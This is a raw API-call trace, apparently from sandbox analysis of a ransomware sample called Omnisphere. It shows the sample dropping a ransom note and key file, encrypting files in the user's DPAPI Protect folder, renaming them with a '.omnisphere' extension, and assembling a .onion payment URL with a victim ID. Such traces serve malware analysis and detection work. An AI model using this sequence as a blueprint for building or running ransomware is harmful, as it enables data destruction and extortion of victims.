GetProcessHeap () returned 0x1600000 [0116.800] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168f790 [0116.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.801] WriteFile (in: hFile=0x3a0, lpBuffer=0x168f790*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x168f790*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0116.805] CloseHandle (hObject=0x3a0) returned 1 [0116.806] GetProcessHeap () returned 0x1600000 [0116.806] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16934c8 | out: hHeap=0x1600000) returned 1 [0116.806] GetProcessHeap () returned 0x1600000 [0116.806] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e228 [0116.806] PathCombineW (in: pszDest=0x165e228, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\unique_decrypt.key" [0116.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.806] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0116.806] CloseHandle (hObject=0x3a0) returned 1 [0116.807] GetProcessHeap () returned 0x1600000 [0116.807] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e228 | out: hHeap=0x1600000) returned 1 [0116.807] GetProcessHeap () returned 0x1600000 [0116.807] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16337f8 | out: hHeap=0x1600000) returned 1 [0116.807] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44622928, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44622928, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bc7f8fe, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0xdb, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0116.807] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0116.807] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x26b36edf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26b36edf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0116.807] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x26b36edf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26b36edf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0116.807] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26b10c72, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26b10c72, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26b832b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0116.807] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a5eb6e1, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a5eb6e1, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x26aeaa93, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="CREDHIST.omnisphere", cAlternateFileName="")) returned 1 [0116.807] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aeaa93, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26aeaa93, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26aeaa93, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="CREDHIST.omnisphere.id", cAlternateFileName="CREDHI~1.ID")) returned 1 [0116.807] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x5c020c86, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0116.808] GetProcessHeap () returned 0x1600000 [0116.808] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x16241b0 [0116.808] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", pszFile="S-1-5-21-1051304884-625712362-2192934891-1000" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000" [0116.808] GetProcessHeap () returned 0x1600000 [0116.808] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x16302c0 [0116.808] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\*" [0116.808] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x1862c0db, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0116.808] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x1862c0db, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0116.808] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xb9994c1e, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xb9994c1e, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x2b8c6049, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="20cac00a-26e8-46c6-ab84-90a52b05e557", cAlternateFileName="20CAC0~1")) returned 1 [0116.808] GetProcessHeap () returned 0x1600000 [0116.808] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x118) returned 0x16414e8 [0116.808] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="20cac00a-26e8-46c6-ab84-90a52b05e557" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557" [0116.808] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0116.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.809] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=468) returned 1 [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.809] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] GetTickCount () returned 0x115d33a [0116.810] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0116.811] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16397a8) returned 1 [0116.811] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.811] CryptDestroyKey (hKey=0x16397a8) returned 1 [0116.811] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0116.811] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d4, lpName=0x0) returned 0x288 [0116.811] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d4) returned 0x1480000 [0116.812] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0116.812] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639628) returned 1 [0116.812] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.812] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.812] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.813] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.814] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.814] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.814] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.814] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.814] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.814] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.814] CryptDestroyKey (hKey=0x1639628) returned 1 [0116.814] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0116.814] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1d4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.814] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.817] GetProcessHeap () returned 0x1600000 [0116.817] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x328) returned 0x16934c8 [0116.817] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere")) returned 1 [0116.823] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere.id" [0116.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.823] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.824] CloseHandle (hObject=0x3c0) returned 1 [0116.827] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.827] CloseHandle (hObject=0x288) returned 1 [0116.827] SetEndOfFile (hFile=0x28c) returned 1 [0116.827] FlushFileBuffers (hFile=0x28c) returned 1 [0116.889] CloseHandle (hObject=0x28c) returned 1 [0116.889] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0116.889] GetProcessHeap () returned 0x1600000 [0116.889] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16937f8 [0116.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.890] GetProcessHeap () returned 0x1600000 [0116.890] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641ea8 [0116.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641ea8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.890] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 